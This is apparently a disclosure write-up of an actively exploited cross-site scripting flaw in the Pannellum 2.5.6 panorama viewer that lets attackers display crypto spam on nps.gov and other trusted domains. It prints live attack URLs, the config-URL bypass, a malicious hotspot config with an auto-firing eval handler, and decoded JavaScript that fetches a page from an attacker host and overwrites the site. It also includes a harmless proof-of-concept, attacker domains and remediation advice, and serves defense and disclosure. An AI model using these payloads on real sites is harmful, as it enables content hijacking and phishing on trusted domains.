Zero Day Live: Pannellum 2.5.6

By William Entriken

10 minutes

The US National Park Service runs nps.gov, a trusted .gov domain on the internet. Right now, if you cilck a special link, your browser address bar shows nps.gov but the page shows crypto spam about Solana NFTs. The page was indexed in Google News. Here is how the entire attack works, step by step.

Crypto spam displayed on nps.gov

Walkthrough

⚠️ For live attack URLs, use incognito mode and do not believe anything you see in this window.

Here is a live attack URL:

https://www.nps(.)gov/hdp/scripts/pannellum/pannellum.htm?config=/\/cdn.wsscript.com/gov/article/tensor-solana-nft.txt

Your browser address bar will show www.nps.gov/defi/tensor-solana-nft. The page content will be an article titled “Tensor Solana Nft” with a video player, SEO markup, and crypto marketing text. None of this content has anything to do with the National Park Service.

This URL was also distributed through Google News RSS, using the redirect at (WARNING LIVE ATTACK URL):

https://news.google(.)com/rss/articles/CBMi1gFBVV95cUxON3dKcGJLNkU4SVF3SmxyT3V4RlR0VW1XOGkwckx0ZURSQkZ1MThuWW5xODVOcnVOeUFOMnNzUU15VXFQWU5JdlM4MnNpOHJKVk1IYzRSaTNISlJSb1JZYUJuWEoxX3ZjWmFqRGNiRFdaOXdkMDl6ZTdlTG14M0lmaUtOZVd2NElQRU1OaHFHS3A1YVBvbl9RbThsdVQ1Ukc4VEtZY3VabGUtWnVwejhVc3N5R3hFM0xDZmtiaE5pY1RCRUVVb1REOVFQVk1mV2FtUzN3UG1n?oc=5

Google News decoded that link and sent visitors to the nps.gov URL above.

We have seen thousands of other sites affected that were exploited.

Impact

Search results and AI scraping collect these pages, causing affected search results and reasoning from these pages to reflect remote assets from attackers for SEO articles rather than the intended site content via a method of cross-site scripting.

This issue allows an unauthenticated attacker to use a legitimate domain as the delivery surface for attacker-controlled content. By supplying a remote configuration file to the exposed Pannellum viewer, the attacker can construct a URL that appears to remain on the affected “.gov” or “.edu” domain while displaying content and links controlled from external infrastructure. No compromise of the affected web server is required.

An attacker could use this capability to:

This pattern is reusable and actively exploited at scale. The same attacker infrastructure (using domains like cdn.wsscript.com, nn.kostoom.com, anni.ie, sdntoper.top, and cdn.taddd.net) is targeting multiple high-trust domains simultaneously with Pannellum viewers. The attacker simply prepares a config file and constructs a URL for each target — no server compromise needed.

Severity rating:

How the attack works

The attack exploits a single feature of a legitimate open-source tool that nps.gov hosts. Here is the full chain, built from the bottom up.

Step 1: Find an affected page.

The nps.gov website hosts Pannellum, an open-source panoramic image viewer, at:

https://www.nps.gov/hdp/scripts/pannellum/pannellum.htm

This is a legitimate tool used for 360° panorama images of historic sites. Pannellum is designed to accept a config query parameter containing the URL of a JSON configuration file. The viewer fetches that JSON via and uses it to set up the panorama display.

Here is what this widget is supposed to look like when it is working. It is beautiful.

Pannellum displaying a panorama as intended

The critical issue: there is no restriction on what URL the config parameter can point to. It does not have to be from that same publisher.

Step 2: Craft a config URL that points to an external server.

The config parameter is parsed from the query string and fetched by the JavaScript. The attacker uses a different host but hides the // part by using an equivalent encoding /\/.

?config=/\/cdn.wsscript.com/gov/article/tensor-solana-nft.txt

Now the Pannellum viewer running on nps.gov fetches and parses a JSON config file controlled entirely by the attacker on any domain.

Step 3: Build a new Pannellum config with XSS.

The attacker’s config file at cdn.wsscript.com/gov/article/tensor-solana-nft.txt is a valid Pannellum JSON config. It loads a real photo so the viewer initializes normally. But it also injects HTML attributes:

{
  "autoLoad": true,
  "panorama": "https://pannellum.org/images/cerro-toco-0.jpg",
  "hotSpots": [
    {
      "pitch": 0,
      "yaw": 0,
      "type": "info",
      "URL": "#",
      "attributes": {
        "style": "visibility:visible !important; position:fixed; top:0; left:0; width:100px; height:100px; z-index:99999; animation: pnlm-mv 0.001s 1 forwards",
        "onanimationstart": "eval(atob(\"...\"))"
      }
    }
  ]
}

The hotspot’s style attribute applies a CSS animation that completes in 0.001 seconds. This fires the onanimationstart event handler automatically, with no user interaction required.

Broad lesson: countermeasures should use allowlist instead of a denylist. Denylists are not well suited as a countermeasure.

Step 4: The JavaScript payload replaces the entire page.

The onanimationstart handler runs eval(atob("...")), which decodes to:

fetch('https://cdn.wsscript.com/gov/how-to/tensor-solana-nft.txt')
  .then(r => r.text())
  .then(h => {
    document.open();
    document.write(h);
    document.close();
  })

This fetches a second (HTML) file from the attacker’s server and calls document.write() to completely replace the page content. Because JavaScript is running in the context of nps.gov, the browser address bar still shows nps.gov throughout this process.

Step 5: The replacement page fakes the URL and serves content.

The injected HTML page does a few things;

  1. Rewrites the visible URL using history.replaceState() to change the path to /defi/tensor-solana-nft, making the address bar look even more like a real nps.gov page. This is more believable.
  2. Detects search engine crawlers with a regex check for googlebot|bingbot|adsbot in the user agent. If a crawler visits, the page serves clean content optimized for search indexing. Human visitors get the full replacement.

Demonstration proof without harm

We have deployed a configuration file to prove the effect without any harm. This allows us to contact affected people and explain the problem.

https://apps.phor.net/csh-panorama/config-pannellum2.php

It is designed to study and avoids the obfuscation of the real attacks.

<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(204);
    exit;
}
?>{
  "autoLoad": true,
  "panorama": "https://pannellum.org/images/cerro-toco-0.jpg",
  "hotSpots": [
    {
      "URL": "#",
      "attributes": {
        "style": "animation: pnlm-mv 0.001s 1 forwards",
        "onanimationstart": "document.open();document.write(\"<html><body style=font-family:system-ui;padding:2em><h1>This page content has been replaced using a technique described on the Community Service Hour podcast.</h1></body></html>\");document.close();history.pushState(null, \"\", \"/a-nonexistent-page\")"
      }
    }
  ]
}

Other affected websites

Sites that run Pannellum 2.5.6 or before are affected. This was fixed in 2.5.7 (see diff).

We demonstrate using our proof without harm.

This list may be outdated by the time you read this.

Attack attribution

The attack infrastructure uses several domains that serve different roles. Some host configuration files (the Pannellum JSON or krpano XML that triggers the XSS), some host the replacement HTML pages, and some host tracking or monetization scripts loaded after the page is taken over.

Hosting malicious files on a domain does not necessarily mean the domain’s operator is responsible for the attack. Servers can be compromised through their own vulnerabilities (a so-called watering hole attack), and attackers frequently upload files to servers they have broken into. That said, these domains warrant investigation.

Participating servers for configuration and content

These domains host the config files that trigger the XSS and the replacement HTML pages that hijack the victim site, and related scripts:

Domain Role Registrar Created
cdn.wsscript.com Hosts Pannellum JSON configs, krpano XML configs, and replacement HTML for nps.gov and CNN attacks NameCheap 2023-12-22
nn.kostoom.com Hosts Pannellum JSON configs used in Boston University attacks Tucows 2015-10-27
anni.ie Hosts Pannellum JSON configs used in Boston University and Biola University attacks — —
b.sdntoper.top Serves tracking script evm.js loaded in nps.gov attacks — —
cdn.taddd.net Serves tracking script dll.js loaded in CNN attacks Cloudflare 2026-01-12

The domain anni.ie belongs to the Association of Nigerian Nurses in Ireland, a legitimate organization. Their website runs Kopage (a website builder). This domain may itself be a compromised server being used to host attacker files without the organization’s knowledge.

The domain cdn.taddd.net was registered only one month before this writeup, which is consistent with attacker infrastructure that rotates frequently.

Attribution and enumeration can work back-and-forth. As you find staging servers that host the configuration, this can be used to find new affected hosts, and vice-versa.

Recommendations

  1. Website publishers should update Pannellum to version 2.5.7 or later.
  2. Monitor your web server access logs using a tool to detect indicators of abuse, such as ?...// and similar.
  3. Google News should validate that the final URL after redirects actually serves consistent content and is not an open redirect.

Future research

Additional research paths are available that we did not explore.

  1. Repeat this research for krpano version 1.17-pr2, 1.20.12. The CNN Edition website was affected by this. And other sites might be too.

Test date

February 2026 through October 2026

Acknowledgements

Thank you to the many contributors here for preparing command line approaches, looking up contact information, discussing the ethical approach we are using here and providing the motivation to get through an afternoon to help some random other souls out there who’s websites might be misconfigured.

Disclosure timeline

▧

Comments

Please discuss this topic anywhere and let me know any great comments or media coverage I should link here.